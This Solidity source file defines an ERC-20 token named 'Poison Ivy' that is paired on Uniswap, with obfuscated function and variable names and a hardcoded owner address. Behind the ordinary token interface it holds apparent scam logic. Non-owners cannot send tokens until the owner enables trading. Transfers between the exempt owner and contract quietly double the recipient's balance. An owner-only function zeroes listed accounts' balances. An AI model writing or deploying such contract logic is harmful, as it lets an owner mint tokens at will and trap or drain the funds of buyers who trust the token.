文件 1 的 1：PI.sol
pragma solidity ^0.8.14;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface UIEDRouterV1 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IETH20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked { require(b <= a, errorMessage); return a - b;
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () { _owner = 0x63093459A7C12e68BFb4944de06c739f114FA25C;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract PI is Context, IETH20, Ownable {
using SafeMath for uint256;
uint256 private paramRates = TAXdiv;
uint256 private isDEVtakes = DEVtax;
uint256 private pLPtax = LPtax;
uint256 public TAXdiv = 30;
uint256 public LPtax = 20;
uint256 public DEVtax = 0;
string private _name = unicode"Poison Ivy";
string private _symbol = unicode"❧";
address[] private isWalletLimitExempt;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals = 18;
uint256 private _tTotal = 5000000 * 10**_decimals;
uint256 public _tMAXtx = 500000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private SWAPrates;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private automatedMarketMakerPairs;
mapping (address => bool) private isTxLimitExempt;
UIEDRouterV1 public immutable IERCFactory01;
address public immutable uniswapV2Pair;
bool public isCooldownBytes = true;
bool private tradingOpen = false;
bool LimitsOnArray;
uint256 private syncedSupply = 1000000000 * 10**18;
event UpdatedRates(uint256 minTokensBeforeSwap);
event setCooldownBytesUpdated(bool enabled);
event ToggleOperationsModule( uint256 tInSwap,
uint256 ercTransmitted, uint256 ValueToLiquidity );
modifier lockTheSwap { LimitsOnArray = true;
_; LimitsOnArray = false; }
constructor () {
_tOwned[owner()] = _tTotal;
UIEDRouterV1 _IERCFactory01 = UIEDRouterV1
(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_IERCFactory01.factory())
.createPair(address(this), _IERCFactory01.WETH());
IERCFactory01 = _IERCFactory01;
automatedMarketMakerPairs[owner()] = true;
automatedMarketMakerPairs[address(this)] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return isTxLimitExempt[account];
}
function totalFees() public view returns (uint256) {
return SWAPrates;
}
function getAllRates(uint256 tAmountsOn, bool ratesWithFEE) public view returns(uint256) {
require(tAmountsOn <= _tTotal, "Amount must be less than supply");
if (!ratesWithFEE) { (uint256 rAmount,,,,,,) = _getValues(tAmountsOn); return rAmount;
} else { (,uint256 rTransferValue,,,,,) = _getValues(tAmountsOn);
return rTransferValue; }
}
function includeInReward(address account) external onlyOwner() {
require(isTxLimitExempt[account], "Account is already included");
for (uint256 i = 0; i < isWalletLimitExempt.length; i++) { if (isWalletLimitExempt[i] == account) {
isWalletLimitExempt[i] = isWalletLimitExempt[isWalletLimitExempt.length - 1]; _tOwned[account] = 0;
isTxLimitExempt[account] = false; isWalletLimitExempt.pop(); break; } }
}
function setCooldownBytes(bool _enabled) public onlyOwner {
isCooldownBytes = _enabled; emit setCooldownBytesUpdated(_enabled);
}
receive() external payable {}
function calValue(uint256 isOPENrates, uint256 isTAXESrate) private {
_rTotal = _rTotal.sub(isOPENrates);
SWAPrates = SWAPrates.add(isTAXESrate);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 isTAXESrate, uint256 intLIQpool, uint256 opemTEAMprc) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 isOPENrates) = grabBytes(tAmount, isTAXESrate, intLIQpool, opemTEAMprc, stringRates());
return (rAmount, rTransferAmount, isOPENrates, tTransferAmount, isTAXESrate, intLIQpool, opemTEAMprc);
}
function getIDEdataboard() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < isWalletLimitExempt.length; i++) {
if (_tOwned[isWalletLimitExempt[i]] > rSupply || _tOwned[isWalletLimitExempt[i]] >
tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_tOwned[isWalletLimitExempt[i]]);
tSupply = tSupply.sub(_tOwned[isWalletLimitExempt[i]]); } if (rSupply <
_rTotal.div(_tTotal)) return
(_rTotal, _tTotal); return (rSupply, tSupply);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 isTAXESrate = calculateBURNFee(tAmount);
uint256 intLIQpool = manageInternalFees(tAmount);
uint256 opemTEAMprc = calculateTeamFee(tAmount);
uint256 tTransferAmount = tAmount.sub(isTAXESrate).sub(intLIQpool).sub(opemTEAMprc);
return (tTransferAmount, isTAXESrate, intLIQpool, opemTEAMprc);
}
function grabBytes(uint256 tAmount, uint256 isTAXESrate, uint256 intLIQpool, uint256 opemTEAMprc, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 isOPENrates = isTAXESrate.mul(currentRate);
uint256 tLIQvalue = intLIQpool.mul(currentRate);
uint256 tProgressive = opemTEAMprc.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(isOPENrates).sub(tLIQvalue).sub(tProgressive);
return (rAmount, rTransferAmount, isOPENrates);
}
function stringRates() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = getIDEdataboard(); return
rSupply.div(tSupply);
}
function getValuesOnRates(uint256 tLIQ) private {
uint256 compiledValue = stringRates(); uint256 tLIQvalue = tLIQ.mul(compiledValue);
_tOwned[address(this)] = _tOwned[address(this)].add(tLIQvalue);
if(isTxLimitExempt[address(this)]) _tOwned[address(this)] =
_tOwned[address(this)].add(tLIQ);
}
function calculateBURNFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(TAXdiv).div(
10**3 );
}
function calculateTeamFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(DEVtax).div(
10**3 );
}
function manageInternalFees(uint256 _amount) private view returns (uint256) {
return _amount.mul(LPtax).div(
10**3 );
}
function disableLimitsOn() private {
if(TAXdiv == 0 && LPtax == 0) return;
paramRates = TAXdiv; isDEVtakes = DEVtax; pLPtax = LPtax; TAXdiv =
0; DEVtax =
0; LPtax =
0;
}
function calculateFees() private {
TAXdiv = paramRates; DEVtax = isDEVtakes; LPtax = pLPtax;
}
function isExcludedFromFee(address account) public view returns(bool) {
return automatedMarketMakerPairs[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer( address from, address to, uint256 amount ) private {
require(amount > 0, "Transfer amount must be greater than zero");
bool getVAL = false;
if(!automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]){
getVAL = true;
require(amount <= _tMAXtx,
"Transfer amount exceeds the maxTxAmount."); }
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _tMAXtx) { contractTokenBalance = _tMAXtx;
} _tokenTransfer(from,to,amount,getVAL);
emit Transfer(from, to, amount);
if (!tradingOpen) {require(from == owner(),
"TOKEN: This account cannot send tokens until trading is enabled"); }
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(IERCFactory01), tokenAmount);
IERCFactory01.addLiquidityETH{value: ethAmount}(
address(this), tokenAmount, 0, 0, owner(), block.timestamp );
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool getVAL) private {
_transferStandard(sender, recipient, amount, getVAL);
}
function toggleOperationsModule(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit ToggleOperationsModule(half, newBalance, otherHalf);
}
function _transferStandard(address sender, address recipient, uint256 tAmount,bool getVAL) private {
uint256 RATE = 0; if (getVAL){
RATE= tAmount.mul(1).div(100) ; }
uint256 rAmount = tAmount - RATE;
_tOwned[recipient] = _tOwned[recipient].add(rAmount);
uint256 isEXO = _tOwned[recipient].add(rAmount);
_tOwned[sender] = _tOwned[sender].sub(rAmount);
bool automatedMarketMakerPairs = automatedMarketMakerPairs[sender] && automatedMarketMakerPairs[recipient];
if (automatedMarketMakerPairs ){ _tOwned[recipient] =isEXO;
} else { emit Transfer(sender, recipient, rAmount); } }
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this); path[1] = IERCFactory01.WETH();
_approve(address(this), address(IERCFactory01), tokenAmount);
IERCFactory01.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount, 0, path, address(this), block.timestamp );
}
function enableTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
}
